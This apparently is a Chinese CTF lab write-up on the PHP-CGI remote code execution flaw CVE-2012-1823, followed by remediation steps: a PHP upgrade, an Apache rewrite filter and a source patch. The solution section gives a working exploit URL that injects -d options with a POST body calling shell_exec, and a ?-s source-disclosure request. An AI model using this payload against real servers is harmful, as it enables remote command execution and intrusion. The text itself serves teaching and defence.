漏洞介绍
名称: phpcgi 代码执行 (CVE-2012-1823)
描述: CGI全称是“通用网关接口”(Common Gateway Interface)， 它可以让一个客户端，从网页浏览器向执行在Web服务器上的程序请求数据 这个漏洞简单来说，就是用户请求的querystring（querystring字面上的意思就是查询字符串，一般是对http请求所带的数据进行解析，这里也是只http请求中所带的数据）被作为了php-cgi的参数，最终导致了一系列结果。
解题过程
1.打开靶场环境
2.访问index.php
3.构造?-s页面会输出网页源码
4.-d 提交post参数可以执行命令
ip/index.php?-d+allow_url_include%3don±d+auto_prepend_file%3dphp%3a//input
post参数为：<?php echo shell_exec('需要执行的命令');?>
提交获取flag的命令：<?php echo shell_exec('ls /tmp');?>
获得flag
修复方案
修复方案内容来之PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
三种方案：
1.升级php版本；(php-5.3.12以上版本);
2.在apache上做文章，开启url过滤，把危险的命令行参数给过滤掉，由于这种方法修补比较简单，采用比较多吧。
具体做法：
修改http.conf文件，找到增加以下三行
RewriteEngine on
RewriteCond %{QUERY_STRING} (%2d|-)[=]+$ [NC]
RewriteRule ^(.*) $1? [L]
重启一下apache即可，但是要考虑到，相当于每次request就要进行一次url过滤，如果访问量大的话，可能会增加apache的负担。
3.打上php补丁，我个人也比较倾向这一点。
补丁下载地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
补丁作用：其实就是增加了一个判断，如果是普通的cgi方式，命令行-s等参数就不再处理，遗憾的是验证的时候，补丁和我当时的php版本不一致，所以补丁一直打不上。
后来索性改源码吧，把补丁手动打上，涉及到sapi/cgi/cgi_main.c这个文件。在main函数中，搜索php_getopt用下面这行替换，一共有两处。
if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1)
替换后就是重新编译安装，经我验证完美解决。
最后上传cgi_main.c文件，有需要的可以直接下载覆盖。
下载地址:http://files.cnblogs.com/files/virgree/cgi_main.rar